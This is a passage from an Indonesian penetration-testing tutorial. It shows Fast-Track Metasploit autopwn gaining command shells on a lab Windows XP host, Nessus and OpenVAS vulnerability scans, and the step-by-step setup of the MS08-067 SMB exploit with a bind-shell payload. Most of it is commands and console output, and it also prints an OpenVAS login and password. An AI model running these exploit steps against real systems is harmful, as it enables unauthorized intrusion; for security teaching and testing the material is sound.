eth0      Link encap:Ethernet  HWaddr 08:00:27:8E:CD:AD
          inet addr:192.168.1.39  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:49 errors:1 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6528 (6.3 KiB)  TX bytes:1830 (1.7 KiB)
          Interrupt:10 Base address:0xd020

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
```

Kita set IP address dengan ifconfig eth0 192.168.1.39 netmask 255.255.255.0 atau ifconfig eth0 192.168.1.39/24

Kita masuk ke Backtrack lalu Penetration lalu Fast Track.

Kita masukkan perintah ./fast-track.py -i

```
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

Fast-Track Main Menu:

    Fast-Track - Where speed really does matter...
    Version: 3.0
    Written by: David Kennedy (ReL1K)
    http://www.securestate.com

    1.  Fast-Track Updates
    2.  External Hacking
    3.  Internal Hacking
    4.  Exploits
    5.  BackTrack Server Services
    6.  Tutorials
    7.  Changelog
    8.  Credits
    9.  About
    10. Exit

    Enter the number:
```

Kita pilih angka 2 yaitu External Hacking. Caranya tekan angka 2 lalu enter

```
    Written by: David Kennedy (ReL1K)
    http://www.securestate.com

    1.  Fast-Track Updates
    2.  External Hacking
    3.  Internal Hacking
    4.  Exploits
    5.  BackTrack Server Services
    6.  Tutorials
    7.  Changelog
    8.  Credits
    9.  About
    10. Exit

    Enter the number: 2

External Pentesting Menu:

        1. Port Scanning
        2. Launch Manual MSFConsole
        3. Autopwn Metasploit Automated
        4. FTP Brute Forcer
        5. Auto SQL Injector
        6. Binary to Hex Payload Generator
        7. Metasploit Mass Client-Side Attack
        8. Return to Previous Menu

        Enter a number: 3
```

Setelah itu kita pilih Autopwn Metasploit Automated. Kita tekan angka 3 lalu enter.

```
Choose which option you would like to do:

1. Run Metasploit Autopwn
2. Update Metasploit

Choose a number: 1
```

Kita pilih Run Metasploit Autopwn. Kita tekan angka 1 lalu enter.

```
This tool specifically piggy backs some commands from
not modify the Metasploit Framework in anyway. This is
from the autopwn feature already developed by the Meta

Simple, enter the IP ranges like you would in NMap i.e
or whatever you want and it'll run against those hosts
commands within the autopwn ip ranges bar, for example
host "appears down" just do -PN 192.168.1.1-254 or wha
syntaxes in the Autopwn IP Ranges portion.

When it has completed exploiting simply type this:

sessions -l (lists the shells spawned)
sessions -i <id> (jumps you into the sessions)

Example 1: -PN 192.168.1.1
Example 2: 192.168.1.1-254
Example 3: -P0 -v -A 192.168.1.1
Example 4: 192.168.1.1/24

Enter the ip ranges to autopwn: 192.168.1.31
```

Kita masukkan IP korban. Di sini IP korban adalah 192.168.1.31, jadi kita masukkan IP itu lalu enter.

```
When it has completed exploiting simply type this:

sessions -l (lists the shells spawned)
sessions -i <id> (jumps you into the sessions)

Example 1: -PN 192.168.1.1
Example 2: 192.168.1.1-254
Example 3: -P0 -v -A 192.168.1.1
Example 4: 192.168.1.1/24

Enter the ip ranges to autopwn: 192.168.1.31
Metasploit path not defined, you should run setup.py,
using the default for now...
Port scanning hosts...
Attacking hosts...be patient...
load db_sqlite3
db_destroy pentest
db_create pentest
db_nmap 192.168.1.31
db_autopwn -p -t -e
```

```
[*] Launching exploit/solaris/samba/trans2open (8/29) against 192.168.1.31:1
[*] Matched exploit/multi/samba/nttrans against 192.168.1.31:139...
[*] Launching exploit/multi/samba/nttrans (9/29) against 192.168.1.31:139...
[*] Detected a Windows XP system...
[*] There is no available target for this OS locale
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.1.31:445..
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.1.31:445...
[*] Launching exploit/windows/smb/ms03_049_netapi (11/29) against 192.168.1.
[*] Started bind handler
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.1.31
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.1.31:445...
[*] Launching exploit/windows/smb/ms05_039_pnp (13/29) against 192.168.1.31:
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.1.31:445...
[*] Launching exploit/windows/smb/ms04_011_lsass (14/29) against 192.168.1.3
[*] Binding to 6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.1.3
[*] Started bind handler
[*] Matched auxiliary/scanner/dcerpc/management against 192.168.1.31:135...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.1.31:445...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.1.3
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.1.31:445...
[*] Launching exploit/windows/smb/ms06_066_nwwks (17/29) against 192.168.1.3
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.3
```

```
msf > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.39:57773 -> 192.168.1.31:5753
  2   Command shell  192.168.1.39:55091 -> 192.168.1.31:14911
  3   Command shell  192.168.1.39:45106 -> 192.168.1.31:33195
  4   Command shell  192.168.1.39:42852 -> 192.168.1.31:9348

msf > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

Setelah Autopwn Metasploit Automated selesai bekerja maka kita cukup melakukan perintah : Sessions -l : Untuk menampilkan sessions.

Di situ akan tampil Id, Description dan Tunnel, ternyata IP korban punya 4 ID yang di mana keempat-empatnya dengan description Command shell.

Kita cukup perintah : Sessions -i 1 lalu enter.

Setelah perintah itu maka kita akan langsung mendapatkan command shell di komputer korban.

Materi sisipan

Nessus dan OpenVas

Nessus is a proprietary vulnerability scanner developed by Tenable Network Security. It is free of charge for personal use in a non-enterprise environment.

According to surveys done in 2009 by sectools.org, Nessus is the world's most popular vulnerability scanner, taking first place in the 2000, 2003, and 2006 security tools survey. Tenable Network Security estimated year 2005 that it was used by over 75,000 organizations worldwide.

Operation

- Nessus allows scans for the following types of vulnerabilities:
- Vulnerabilities that allow a remote hacker to control or access sensitive data on a system.
- Misconfiguration (e.g. open mail relay, missing patches, etc.).
- Default passwords, a few common passwords, and blank/absent passwords on some system accounts. Nessus can also call Hydra (an external tool) to launch a dictionary attack.
- Denials of service against the TCP/IP stack by using malformed packets
- Preparation for PCI DSS audits

Sumber : https://en.wikipedia.org/wiki/Nessus_%28software%29

OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution.

Sumber : http://www.openvas.org

Cara penggunaan Nessus di virtual mesin kali linux yang sudah ditambahkan nessus dan openvas.

Nessus

Untuk instalasi nessus :

Nesus dapat di download di https://www.tenable.com/products/nessus/select-your-operating-system

Download file nessus lalu install di linux

dpkg -i (namafilenessus).deb

Setelah diinstall maka masuk ke https://(ipaddresskalilinux):8834

Untuk registrasi :

https://www.tenable.com/products/nessus-home

Isi form di web tersebut untuk mendapatkan activation key

Menjalankan Nessus

1. jalankan kali linux 2.0

2. terminal

3. cd /etc/init.d

4. ./nessusd start

```
root@kalidata:/# cd /etc
root@kalidata:/etc# cd init.d
root@kalidata:/etc/init.d# ./nessusd start
Starting Nessus : .
root@kalidata:/etc/init.d#
```

5. buka browser

6. Ketik : https://127.0.0.1:8834 lalu enter

7. Untuk login maka membutuhkan registrasi, untuk registrasi klik https://www.tenable.com/products/nessus-home

Tampilan saat registrasi

Isi form lalu klik register lalu cek di e-mail untuk mendapatkan activation code nya.

Klik New Scan

Klik Advanced Scan

Isi pada form di General

Klik Save

Klik pada yang dilingkari

Tunggu

Klik yang dilingkari

Hosts > 192.168.1.35 > Vulnerabilities 30

Severity	Plugin Name	Count
CRITICAL	MS03-026: Microsoft RPC Interface Buffer Overrun (823980) (uncre...	1
CRITICAL	MS03-039: Microsoft RPC Interface Buffer Overrun (824146) (uncre...	1
CRITICAL	MS04-007: ASN.1 Vulnerability Could Allow Code Execution (8280...	1
CRITICAL	MS04-011: Security Update for Microsoft Windows (835732) (uncre...	1
CRITICAL	MS04-012: Cumulative Update for Microsoft RPC/DCOM (828741) ...	1
CRITICAL	MS05-027: Vulnerability in SMB Could Allow Remote Code Executi...	1
CRITICAL	MS05-043: Vulnerability in Printer Spooler Service Could Allow Re...	1
HIGH	MS06-035: Vulnerability in Server Service Could Allow Remote Cod...	1

Host Details

IP:	192.168.1.35
MAC:	08:00:27:f9:3e:72
OS:	Microsoft Windows XP Microsoft Windows XP for En Systems
Start:	Today at 10:56 AM
End:	Today at 10:58 AM
Elapsed:	3 minutes
KB:	Download

Vulnerabilities

Hasilnya

Hosts > 192.168.1.35 > Vulnerabilities 30

Severity	Plugin Name	Count
CRITICAL	MS03-026: Microsoft RPC Interface Buffer Overrun (823980) (uncre...	1
CRITICAL	MS03-039: Microsoft RPC Interface Buffer Overrun (824146) (uncre...	1
CRITICAL	MS04-007: ASN.1 Vulnerability Could Allow Code Execution (8280...	1
CRITICAL	MS04-011: Security Update for Microsoft Windows (835732) (uncre...	1
CRITICAL	MS04-012: Cumulative Update for Microsoft RPC/DCOM (828741) ...	1
CRITICAL	MS05-027: Vulnerability in SMB Could Allow Remote Code Executi...	1
CRITICAL	MS05-043: Vulnerability in Printer Spooler Service Could Allow Re...	1

Ditampilkan bug pada Windows yang dilakukan scan

Jika pada Windows XP SP3 hasilnya seperti di atas

Keberadaan informasi celah MS08-067 terdeteksi

Jika pada Windows Vista hasilnya seperti di atas

Keberadaan informasi celah MS09-050 terdeteksi

Hasilnya jika targetnya Windows 7 (Full Version)

Openvas baru

Cara instalasi OpenVas 9 masuk di http://olivermarshall.net/how-to-install-openvas-9-on-ubuntu-16/

Jika sudah diinstall maka langsung dapat dijalankan seperti di bawah ini.

```
root@ubuntuscan:/home/data#
root@ubuntuscan:/home/data#
root@ubuntuscan:/home/data#
root@ubuntuscan:/home/data# service openvas-scanner start
root@ubuntuscan:/home/data#
root@ubuntuscan:/home/data# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:18:03:d0
          inet addr:192.168.1.103  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe18:3d0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1662 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1583 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2343332 (2.3 MB)  TX bytes:100215 (100.2 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
```

service openvas-scanner start

https://192.168.1.103:4000

Pilih Scans lalu Tasks

Pilih Task Wizard

Masukkan ip address target, misal 192.168.1.31

Name	Status	Reports	
		Total	Last
Immediate scan of IP 192.168.1.100	Done	1 (1)	Jan 11 2018
Immediate scan of IP 192.168.1.231	Requested	0 (1)	
Immediate scan of IP 192.168.1.31	Done	1 (1)	Jan 12 2018

(Applied filter: min_qod=70 apply_overrides=1 rows=10 first=1 sort=name)

Name	Status	Reports
		Total
Immediate scan of IP 192.168.1.100	Done	1 (1)
Immediate scan of IP 192.168.1.231	12 %	0 (1)
Immediate scan of IP 192.168.1.31	Done	1 (1)

(Applied filter: min_qod=70 apply_overrides=1 rows=10 first=1 sort=name)

Scanning sedang dilakukan

Name	Status	Reports	
		Total	Last
Immediate scan of IP 192.168.1.100	Done	1 (1)	Jan 11 2018
Immediate scan of IP 192.168.1.231	Done	1 (1)	Jan 12 2018 Klik
Immediate scan of IP 192.168.1.31	Done	1 (1)	Jan 12 2018

(Applied filter: min_qod=70 apply_overrides=1 rows=10 first=1 sort=name)

Klik seperti pada di atas

Report: Results (8 of 28)

ID: dc53ce3a-ff21-4b58-a633
Modified: Fri Jan 12 07:18:39 2018
Created: Fri Jan 12 06:53:56 2018
Owner: admin

Vulnerability	Severity	QoD	Host	Location
OS End Of Life Detection	10.0 (High)	80%	192.168.1.231	general/tcp
Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Remote	10.0 (High)	98%	192.168.1.231	445/tcp
Microsoft Windows SMB Server NTLM Multiple Vulnerabilities (971468)	10.0 (High)	98%	192.168.1.231	445/tcp
Microsoft Windows Server Service Remote Code Execution Vulnerability (921883)	10.0 (High)	98%	192.168.1.231	445/tcp
Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389)	9.3 (High)	95%	192.168.1.231	445/tcp
DCE/RPC and MSRPC Services Enumeration Reporting	5.0 (Medium)	80%	192.168.1.231	135/tcp
SSH Weak Encryption Algorithms Supported	4.3 (Medium)	95%	192.168.1.231	22/tcp
SSH Weak MAC Algorithms Supported	2.6 (Low)	95%	192.168.1.231	22/tcp

(Applied filter:autofp=0 apply_overrides=1 notes=1 overrides=1 result_hosts_only=1 first=1 rows=100 sort-reverse=severity levels=hml min_qod=70)

Contohnya klik seperti di atas

Owner: admin

Result: Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389)

Vulnerability	Severity	QoD	Host
Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389)	9.3 (High)	95%	192.168.1.231

Summary
This host is missing a critical security update according to Microsoft Bulletin MS17-010.

Vulnerability Detection Result
Vulnerability was detected according to the Vulnerability Detection Method.

Impact
Successful exploitation will allow remote attackers to gain the ability to execute code on the target server, also could lead to information disclosure from the server.

Impact Level: System

Solution
Solution type: VendorFix

Run Windows Update and update the listed hotfixes or download and update mentioned hotfixes in the advisory from the below link, https://technet.microsoft.com/lit

Affected Software/OS
Microsoft Windows 10 x32/x64 Edition Microsoft Windows Server 2012 Edition Microsoft Windows Server 2016 Microsoft Windows 8.1 x32/x64 Edition Microsoft Windo
Microsoft Windows 7 x32/x64 Edition Service Pack 1 Microsoft Windows Vista x32/x64 Edition Service Pack 2 Microsoft Windows Server 2008 R2 x64 Edition Service Pa
Server 2008 x32/x64 Edition Service Pack 2

Vulnerability Insight

Openvas dapat mendeteksi celah SMB dengan bug yang dapat dicari di Microsoft BulletinMS17-010.

Openvas lama

1. jalankan kali linux 2.0

2. terminal

3. openvas-start

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# openvas-start
Starting OpenVas Services
root@kalidata:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp        0      0 127.0.0.1:9390          0.0.0.0:*               LISTEN
1429/openvasmd
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
316/rpcbind
tcp        0      0 127.0.0.1:9392          0.0.0.0:*               LISTEN
346/gsad
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN
405/gsad
tcp6       0      0 :::111                  :::*                    LISTEN
316/rpcbind
root@kalidata:~#
```

4. buka browser

5. ketik : https://127.0.0.1:9392 lalu enter

6. tunggu

7. Masukkan username : kurniawan dan password : a2a7d6c0-ad44-4a3d-b9ac-1660f2cff49b

Masukkan ip address target

Hasilnya

Ditampilkan informasi bug

Jika targetnya Windows Vista dengan ip address 192.168.1.116

Klik Done

Report: Results 1 - 13 of 13 (total: 14) PDF

Filter: autofp=0 apply_overrides=1 notes=1 overrides=1 result_hosts_only

Vulnerability	Severity	QoD	Host
Microsoft Windows SMB2 Negotiation Protocol Remote Code Execution Vulnerability	10.0 (High)	98%	192.168.1.116
DCE Services Enumeration	5.0 (Medium)	80%	192.168.1.116
DCE Services Enumeration	5.0 (Medium)	80%	192.168.1.116
TCP timestamps	2.6 (Low)	80%	192.168.1.116
ICMP Timestamp Detection	0.0 (Log)	80%	192.168.1.116
OS Detection Consolidation	0.0 (Log)	95%	192.168.1.116
Traceroute	0.0 (Log)	80%	192.168.1.116
CPE Inventory	0.0 (Log)	80%	192.168.1.116
SMB Test	0.0 (Log)	80%	192.168.1.116
SMB/CIFS Server Detection	0.0 (Log)	80%	192.168.1.116
SMB NativeLanMan	0.0 (Log)	95%	192.168.1.116

Klik pada yang dilingkari

Result Details

Task: Immediate scan of IP 192.168.1.116 ID: 297

Vulnerability	Severity	QoD	Host
Microsoft Windows SMB2 Negotiation Protocol Remote Code Execution Vulnerability	10.0 (High)	98%	192.168.1.116

Summary
This host is missing a critical security update according to Microsoft Bulletin MS09-050.

Vulnerability Detection Result
Vulnerability was detected according to the Vulnerability Detection Method.

Impact
An attacker can exploit this issue to execute code with SYSTEM-level privileges failed exploit attempts will likely ca
conditions.

Impact Level: System

Affected Software/OS
- Windows 7 RC - Windows Vista and - Windows 2008 Server

Vulnerability Insight
Multiple vulnerabilities exists, - A denial of service vulnerability exists in the way that Microsoft Server Message Blo
handles specially crafted SMB version 2 (SMBv2) packets. - Unauthenticated remote code execution vulnerability
Microsoft Server Message Block (SMB) Protocol software handles specially crafted SMB packets.

Keluar summary nya yang menyebut keberadaan MS09-050.

Bab 25

Metasploit Framework

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Metasploit_Project

25.1 Bind dan reverse shells

There are two popular types of shells: bind and reverse. A bind shell is the kind that opens up a new service on the target machine, and requires the attacker to connect to it in order to get a session. A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.

Sumber : github.com/rapid7/metasploit-framework - https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit

25.2 Eksploitasi target SMB pada Windows XP SP3 dengan firewall target tidak aktif (Bind)

Celah yang akan digunakan adalah celah SMB pada Windows XP SP3

Microsoft Security Bulletin MS08-067 - Critical

Vulnerability in Server Service Could Allow Remote Code Execution (958644)

Published: October 23, 2008

Version: 1.0

General Information

Executive Summary

This security update resolves a privately reported vulnerability in the Server service. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Window Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that thi vulnerability could be used in the crafting of a wormable exploit. Firewall best practices and standard default firewall configuratic can help protect network resources from attacks that originate outside the enterprise perimeter.

This security update is rated Critical for all supported editions of Microsoft Windows 2000, Windows XP, Windows Server 2003, a rated Important for all supported editions of Windows Vista and Windows Server 2008. For more information, see the subsectio **Affected and Non-Affected Software**, in this section.

The security update addresses the vulnerability by correcting the way that the Server service handles RPC requests. For more

Affected Software

Operating System	Maximum Security Impact	Aggregate Rating
Microsoft Windows 2000 Service Pack 4	Remote Code Execution	Critical
Windows XP Service Pack 2	Remote Code Execution	Critical
Windows XP Service Pack 3	Remote Code Execution	Critical
Windows XP Professional x64 Edition	Remote Code Execution	Critical
Windows XP Professional x64 Edition Service	Remote Code	Critical

Ketik msfconsole di terminal kali-linux

```
Terminal
File  Edit  View  Search  Terminal  Help

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > search smb
[!] Database not connected or cache not built, using slow search
```

search smb

```
Terminal
File  Edit  View  Search  Terminal  Help
average    Microsoft RRAS Service Overflow
   exploit/windows/smb/ms06_040_netapi                          2006-08-08
good       Microsoft Server Service NetpwPathCanonicalize Overflow
   exploit/windows/smb/ms06_066_nwapi                           2006-11-14
good       Microsoft Services MS06-066 nwapi32.dll Module Exploit
   exploit/windows/smb/ms06_066_nwwks                           2006-11-14
good       Microsoft Services MS06-066 nwwks.dll Module Exploit
   exploit/windows/smb/ms06_070_wkssvc                          2006-11-14
manual     Microsoft Workstation Service NetpManageIPCConnect Overflow
   exploit/windows/smb/ms07_029_msdns_zonename                  2007-04-12
manual     Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
   exploit/windows/smb/ms08_067_netapi                          2008-10-28
great      Microsoft Server Service Relative Path Stack Corruption
   exploit/windows/smb/ms09_050_smb2_negotiate_func_index       2009-09-07
good       Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   exploit/windows/smb/ms10_061_spoolss                         2010-09-14
excellent  Microsoft Print Spooler Service Impersonation Vulnerability
   exploit/windows/smb/netidentity_xtierrpcpipe                 2009-04-06
great      Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow
   exploit/windows/smb/psexec                                   1999-01-01
manual     Microsoft Windows Authenticated User Code Execution
   exploit/windows/smb/smb_relay                                2001-03-31
excellent  Microsoft Windows SMB Relay Code Execution
   exploit/windows/smb/timbuktu_plughntcommand_bof              2009-06-25
```

```
normal

> info exploit/windows/smb/ms08_067_netapi

Path Stack Corruption
pi
```

```
67  Windows 2003 SP2 Spanish (NX)

asic options:
 Name     Current Setting  Required  Description
 ----     ---------------  --------  -----------
 RHOST                     yes       The target address
 RPORT    445              yes       Set the SMB service port
 SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

ayload information:
 Space: 400
 Avoid: 8 characters

escription:
 This module exploits a parsing flaw in the path canonicalization
 code of NetAPI32.dll through the Server Service. This module is
 capable of bypassing NX on some operating systems and service packs.
 The correct target must be used to prevent the Server Service (along
 with a dozen others in the same process) from crashing. Windows XP
 targets seem to handle multiple successful exploitation events, but
```

```
Terminal
File  Edit  View  Search  Terminal  Help
   exploit/windows/smb/ms10_061_spoolss                        2010-09-14
excellent  Microsoft Print Spooler Service Impersonation Vulnerability
   exploit/windows/smb/netidentity_xtierrpcpipe                2009-04-06
great      Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow
   exploit/windows/smb/psexec                                  1999-01-01
manual     Microsoft Windows Authenticated User Code Execution
   exploit/windows/smb/smb_relay                               2001-03-31
excellent  Microsoft Windows SMB Relay Code Execution
   exploit/windows/smb/timbuktu_plughntcommand_bof             2009-06-25
great      Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow
   post/linux/gather/mount_cifs_creds
normal     Linux Gather Saved mount.cifs/mount.smbfs Credentials
   post/windows/escalate/droplnk
normal     Windows Escalate SMB Icon LNK Dropper
   post/windows/gather/credentials/gpp
normal     Windows Gather Group Policy Preference Saved Passwords
   post/windows/gather/enum_shares
normal     Windows Gather SMB Share Enumeration via Registry
   post/windows/gather/netlm_downgrade
normal     Windows NetLM Downgrade Attack

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) >
```

use exploit/windows/smb/ms08_067_netapi

```
Terminal
File  Edit  View  Search  Terminal  Help
msf  exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   5   Windows XP SP3 English (AlwaysOn NX)
   6   Windows XP SP3 English (NX)
   7   Windows 2003 SP0 Universal
   8   Windows 2003 SP1 English (NO NX)
   9   Windows 2003 SP1 English (NX)
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
   13  Windows 2003 SP2 German (NO NX)
   14  Windows 2003 SP2 German (NX)
   15  Windows XP SP2 Arabic (NX)
```

show targets

```
Terminal
File  Edit  View  Search  Terminal  Help
   49  Windows XP SP3 French (NX)
   50  Windows XP SP3 Hebrew (NX)
   51  Windows XP SP3 Hungarian (NX)
   52  Windows XP SP3 Italian (NX)
   53  Windows XP SP3 Japanese (NX)
   54  Windows XP SP3 Korean (NX)
   55  Windows XP SP3 Dutch (NX)
   56  Windows XP SP3 Norwegian (NX)
   57  Windows XP SP3 Polish (NX)
   58  Windows XP SP3 Portuguese - Brazilian (NX)
   59  Windows XP SP3 Portuguese (NX)
   60  Windows XP SP3 Russian (NX)
   61  Windows XP SP3 Swedish (NX)
   62  Windows XP SP3 Turkish (NX)
   63  Windows 2003 SP2 Japanese (NO NX)
   64  Windows 2003 SP1 Spanish (NO NX)
   65  Windows 2003 SP1 Spanish (NX)
   66  Windows 2003 SP2 Spanish (NO NX)
   67  Windows 2003 SP2 Spanish (NX)

msf  exploit(ms08_067_netapi) > set target 0
target => 0
msf  exploit(ms08_067_netapi) >
```

set target 0

```
Terminal
File  Edit  View  Search  Terminal  Help
msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                        Disclosure Date  Rank    Des
cription
   ----                                        ---------------  ----    ---
--------
   generic/custom                                               normal  Cus
tom Payload
   generic/debug_trap                                           normal  Gen
eric x86 Debug Trap
   generic/shell_bind_tcp                                       normal  Gen
eric Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                    normal  Gen
eric Command Shell, Reverse TCP Inline
   generic/tight_loop                                           normal  Gen
eric x86 Tight Loop
   windows/dllinject/bind_ipv6_tcp                              normal  Ref
lective DLL Injection, Bind TCP Stager (IPv6)
   windows/dllinject/bind_nonx_tcp                              normal  Ref
lective DLL Injection, Bind TCP Stager (No NX or Win7)
   windows/dllinject/bind_tcp                                   normal  Ref
```

show payloads

```
Terminal
File  Edit  View  Search  Terminal  Help
   windows/shell/reverse_ipv6_tcp                               normal  Wi
dows Command Shell, Reverse TCP Stager (IPv6)
   windows/shell/reverse_nonx_tcp                               normal  Wi
dows Command Shell, Reverse TCP Stager (No NX or Win7)
   windows/shell/reverse_ord_tcp                                normal  Wi
dows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/shell/reverse_tcp                                    normal  Wi
dows Command Shell, Reverse TCP Stager
   windows/shell/reverse_tcp_allports                           normal  Wi
dows Command Shell, Reverse All-Port TCP Stager
   windows/shell/reverse_tcp_dns                                normal  Wi
dows Command Shell, Reverse TCP Stager (DNS)
   windows/shell_bind_tcp                                       normal  Wi
dows Command Shell, Bind TCP Inline
   windows/shell_reverse_tcp                                    normal  Wi
dows Command Shell, Reverse TCP Inline
   windows/speak_pwned                                          normal  Wi
dows Speech API - Say "You Got Pwned!"
   windows/upexec/bind_ipv6_tcp                                 normal  Wi
dows Upload/Execute, Bind TCP Stager (IPv6)
   windows/upexec/bind_nonx_tcp                                 normal  Wi
dows Upload/Execute, Bind TCP Stager (No NX or Win7)
   windows/upexec/bind_tcp                                      normal  Wi
dows Upload/Execute, Bind TCP Stager
```

Menggunakan payload windows/shell_bind_tcp

```
Terminal
File  Edit  View  Search  Terminal  Help
   windows/vncinject/bind_nonx_tcp                                  normal  VN
 Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/vncinject/bind_tcp                                       normal  VN
 Server (Reflective Injection), Bind TCP Stager
   windows/vncinject/reverse_http                                   normal  VN
 Server (Reflective Injection), Reverse HTTP Stager
   windows/vncinject/reverse_ipv6_http                              normal  VN
 Server (Reflective Injection), Reverse HTTP Stager (IPv6)
   windows/vncinject/reverse_ipv6_tcp                               normal  VN
 Server (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/vncinject/reverse_nonx_tcp                               normal  VN
 Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/vncinject/reverse_ord_tcp                                normal  VN
 Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/vncinject/reverse_tcp                                    normal  VN
 Server (Reflective Injection), Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports                           normal  VN
 Server (Reflective Injection), Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                                normal  VN
 Server (Reflective Injection), Reverse TCP Stager (DNS)

msf  exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf  exploit(ms08_067_netapi) >
```

set payload windows/shell_bind_tcp

```
Terminal
File  Edit  View  Search  Terminal  Help
msf  exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, n
one
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:
```

show options

Pada Rhost, Current Setting masih kosong.

```
Terminal
File  Edit  View  Search  Terminal  Help
Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf  exploit(ms08_067_netapi) > set rhost 192.168.1.107
rhost => 192.168.1.107
msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.107    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
```

set rhost 192.168.1.107

